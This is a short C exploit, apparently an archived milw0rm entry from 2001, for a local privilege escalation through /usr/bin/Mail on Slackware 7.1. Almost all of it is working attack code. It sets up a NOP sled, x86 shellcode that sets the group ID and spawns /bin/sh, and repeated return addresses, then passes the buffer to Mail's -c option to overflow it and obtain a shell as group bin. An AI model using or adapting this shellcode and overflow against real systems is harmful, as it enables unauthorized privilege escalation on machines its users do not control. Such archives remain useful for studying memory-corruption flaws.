Slackware 7.1 - '/usr/bin/mail' Local Privilege Escalation

/*
   Slackware 7.1 /usr/bin/Mail Exploit give gid=1 ( bin )
   if /usr/bin/Mail is setgid but it is not setgid,
   setuid for default.

  tested on my box ( sl 7.1 )
  crazy exploited by kengz.
  GID.... \x01 = 1 (bin)
          \x02 = 2 ,
          \x03 = 3 ,
     ...  \x0a = 10
          \x0b = 11
    ....
*/

#include <stdio.h>
#include <string.h>
#define GID    "\x03"

int main(int argc, char **argv) {
  char shellcode[] =
    "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
    "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
     GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
    "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

  char buf2[10000];
  char buffer[15000];
  char nop[8000];
  char *p, *q;
  long ret=0xbfffffff;
  int len, offset = 0, i,j,k,ii;
  ret = ret - 5000;

  for(k=0; k<2000; k+=4)
    *(long *)&buf2[k] = ret;

  for(k=0;k<7000;k++){
    strcat(nop,"\x90");
  }
  snprintf(buffer,12000,"%s%s%s",nop,shellcode,buf2);
  printf("Crazy Mail sploit by kengz \n");
  printf("Hit    '  .  ' to go \n");
  execl("/usr/bin/Mail","Mail","x","-s","x","-c",buffer,0);
}


// milw0rm.com [2001-03-03]